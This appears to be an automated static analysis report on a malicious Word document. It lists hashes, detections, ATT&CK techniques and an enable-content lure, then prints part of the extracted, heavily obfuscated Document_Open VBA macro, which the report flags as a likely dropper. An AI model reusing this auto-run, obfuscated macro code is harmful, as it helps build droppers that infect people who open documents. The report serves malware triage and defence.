Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 009cc0f34f604675…

MALICIOUS

Office (OLE)

2.12 MB Created: 2017-12-19 07:18:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: bf310319d6ef95f69a45fc4f2d237ed4 SHA-1: f53f52b9aa4573f7250d7693617f8617ec139aad SHA-256: 009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a Microsoft Office document containing a VBA macro that executes upon opening (Document_Open). The macro uses CreateObject and GetObject, indicative of malicious activity, and employs obfuscation techniques. The document body itself contains a lure to "Enable Editing" and "Enable Content", which is a common tactic to bypass security warnings and execute the embedded macro. The macro likely attempts to download and execute a second-stage payload, as suggested by the heuristic firings and the presence of obfuscated code.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-7570500-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7570500-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://idrbt.ac.in/assets/img/logo.png In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 620439 bytes
SHA-256: 446c1c7ab1e18454ef1e7692853303589180be9315c51954a9aa43af5ef379dd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 712 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"
Option Explicit

Private Sub CommandButton1_Click()
MsgBox " Certificate Fail "
End Sub

Sub Document_Open()
On Error Resume Next


Dim TBhB, SIFt, FlHZ As String
TBhB = MAQF(MWrL)
SIFt = MAQF(oJXu)
FlHZ = MAQF(FVMr)


Dim iOME As String
iOME = JqGk(OEDP(201, 154))
iOME = jIkI(iOME, JqGk(OEDP(214, 181)))
iOME = jIkI(iOME, JqGk(OEDP(177, 195)))
iOME = jIkI(iOME, JqGk(OEDP(117, 28)))
iOME = jIkI(iOME, JqGk(OEDP(74, 58)))
iOME = jIkI(iOME, JqGk(OEDP(196, 176)))
iOME = jIkI(iOME, JqGk(OEDP(117, 28)))
iOME = jIkI(iOME, JqGk(OEDP(18, 124)))
iOME = jIkI(iOME, JqGk(OEDP(244, 147)))
iOME = jIkI(iOME, JqGk(OEDP(75, 101)))
iOME = jIkI(iOME, JqGk(OEDP(140, 202)))
iOME = jIkI(iOME, JqGk(OEDP(117, 28)))
iOME = jIkI(iOME, JqGk(OEDP(123, 23)))
iOME = jIkI(iOME, JqGk(OEDP(182, 211)))
iOME = jIkI(iOME, JqGk(OEDP(201, 154)))
iOME = jIkI(iOME, JqGk(OEDP(201, 176)))
iOME = jIkI(iOME, JqGk(OEDP(45, 94)))
iOME = jIkI(iOME, JqGk(OEDP(196, 176)))
iOME = jIkI(iOME, JqGk(OEDP(182, 211)))
iOME = jIkI(iOME, JqGk(OEDP(201, 164)))
iOME = jIkI(iOME, JqGk(OEDP(94, 17)))
iOME = jIkI(iOME, JqGk(OEDP(253, 159)))
iOME = jIkI(iOME, JqGk(OEDP(252, 150)))
iOME = jIkI(iOME, JqGk(OEDP(182, 211)))
iOME = jIkI(iOME, JqGk(OEDP(214, 181)))
iOME = jIkI(iOME, JqGk(OEDP(196, 176)))

Dim pDHT As String
pDHT = TBhB
Dim aFMf As String
aFMf = ""
aFMf = jIkI(aFMf, JqGk(OEDP(7, 68)))
aFMf = jIkI(aFMf, JqGk(OEDP(99, 89)))
aFMf = jIkI(aFMf, "\")
aFMf = jIkI(aFMf, JqGk(OEDP(59, 107)))
aFMf = jIkI(aFMf, JqGk(OEDP(177, 195)))
aFMf = jIkI(aFMf, JqGk(OEDP(201, 166)))
aFMf = jIkI(aFMf, JqGk(OEDP(244, 147)))
aFMf = jIkI(aFMf, JqGk(OEDP(177, 195)))
aFMf = jIkI(aFMf, JqGk(OEDP(255, 158)))
aFMf = jIkI(aFMf, JqGk(OEDP(201, 164)))
aFMf = jIkI(aFMf, JqGk(OEDP(80, 20)))
aFMf = jIkI(aFMf, JqGk(OEDP(255, 158)))
aFMf = jIkI(aFMf, JqGk(OEDP(196, 176)))
aFMf = jIkI(aFMf, JqGk(OEDP(255, 158)))
aFMf = jIkI(aFMf, "\")
aFMf = jIkI(aFMf, JqGk(OEDP(243, 164)))
aFMf = jIkI(aFMf, JqGk(OEDP(117, 28)))
aFMf = jIkI(aFMf, JqGk(OEDP(18, 124)))
aFMf = jIkI(aFMf, JqGk(OEDP(17, 117)))
aFMf = jIkI(aFMf, JqGk(OEDP(201, 166)))
aFMf = jIkI(aFMf, JqGk(OEDP(222, 169)))
aFMf = jIkI(aFMf, JqGk(OEDP(45, 94)))
aFMf = jIkI(aFMf, JqGk(OEDP(80, 20)))
aFMf = jIkI(aFMf, JqGk(OEDP(182, 211)))
aFMf = jIkI(aFMf, JqGk(OEDP(43, 77)))
aFMf = jIkI(aFMf, JqGk(OEDP(182, 211)))
aFMf = jIkI(aFMf, JqGk(OEDP(18, 124)))
aFMf = jIkI(aFMf, JqGk(OEDP(17, 117)))
aFMf = jIkI(aFMf, JqGk(OEDP(182, 211)))
aFMf = jIkI(aFMf, JqGk(OEDP(177, 195)))
aFMf = jIkI(aFMf, JqGk(OEDP(75, 101)))
aFMf = jIkI(aFMf, JqGk(OEDP(117, 28)))
aFMf = jIkI(aFMf, JqGk(OEDP(18, 124)))
aFMf = jIkI(aFMf, JqGk(OEDP(117, 28)))

pLcD aFMf, pDHT, iOME

Dim FDeE As String
FDeE = ""
FDeE = jIkI(FDeE, JqGk(OEDP(7, 68)))
FDeE = jIkI(FDeE, JqGk(OEDP(99, 89)))
FDeE = jIkI(FDeE, "\")
FDeE = jIkI(FDeE, JqGk(OEDP(59, 107)))
FDeE = jIkI(FDeE, JqGk(OEDP(177, 195)))
FDeE = jIkI(FDeE, JqGk(OEDP(201, 166)))
FDeE = jIkI(FDeE, JqGk(OEDP(244, 147)))
FDeE = jIkI(FDeE, JqGk(OEDP(177, 195)))
FDeE = jIkI(FDeE, JqGk(OEDP(255, 158)))
FDeE = jIkI(FDeE, JqGk(OEDP(201, 164)))
FDeE = jIkI(FDeE, JqGk(OEDP(80, 20)))
FDeE = jIkI(FDeE, JqGk(OEDP(255, 158)))
FDeE = jIkI(FDeE, JqGk(OEDP(196, 176)))
FDeE = jIkI(FDeE, JqGk(OEDP(255, 158)))
FDeE = jIkI(FDeE, "\")
FDeE = jIkI(FDeE, JqGk(OEDP(80, 20)))
FDeE = jIkI(FDeE, JqGk(OEDP(182, 211)))
FDeE = jIkI(FDeE, JqGk(OEDP(43, 77)))
FDeE = jIkI(FDeE, JqGk(OEDP(182, 211)))
FDeE = jIkI(FDeE, JqGk(OEDP(18, 124)))
FDeE = jIkI(FDeE, JqGk(OEDP(17, 117)))
FDeE = jIkI(FDeE, JqGk(OEDP(182, 211)))
FDeE = jIkI(FDeE, JqGk(OEDP(177, 195)))
FDeE = jIkI(FDeE, JqGk(OEDP(
... (truncated)